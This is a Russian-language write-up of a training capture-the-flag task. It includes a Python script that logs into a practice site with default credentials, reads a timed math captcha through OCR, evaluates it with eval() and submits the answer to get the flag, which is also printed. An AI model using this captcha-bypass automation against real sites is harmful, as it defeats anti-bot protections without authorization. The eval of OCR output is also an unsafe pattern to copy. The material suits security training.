Skip to content

Latest commit

 

History

History
48 lines (37 loc) · 1.54 KB

File metadata and controls

48 lines (37 loc) · 1.54 KB

Vinnytsia (13.owaspctf.gq)

На главной странице логин форма. Комбинация admin:admin вызывает появление простой математической капчи с таймером в несколько секунд.

Суть задания в автоматизации ввода капчи, хотя если выпадут хорошие числа можно успеть ввести капчу и вручную.

poc.py:

#!/usr/bin/python2
# -*- coding: utf-8 -*-

import os
import sys
import requests
import re
import pytesseract

url = 'http://13.owaspctf.gq'
ctf = requests.Session()

login    = 'admin'
password = 'admin'

def poc():
    ctf.get(url)
    response = ctf.post(url, data={'login':login,'password':password})
    if 'img.php' not in response.text:
        raise
    image = ctf.get(url + '/img.php', stream=True).content
    open('./captcha.png', 'wb').write(image)
    captcha = pytesseract.image_to_string('./captcha.png', config='-c tessedit_char_whitelist=0123456789()+-*/ psm 100')
    assert( re.search(r'^\((\d+)\+(\d+)\)\*(\d+)-(\d+)$', captcha) )

    #print('{} = {}'.format(captcha, eval(captcha)))
    response = ctf.post(url, data={'login':login,'password':password,'captcha':eval(captcha)}, allow_redirects=False)
    if 'FLAG' not in response.text:
        raise
    match = re.search(r'(FLAG\{[^}]+\})', response.text)
    if not match:
        raise
    print(match.group(1))

if __name__ == '__main__':
    poc()

FLAG{completely_automated_public_turing_test}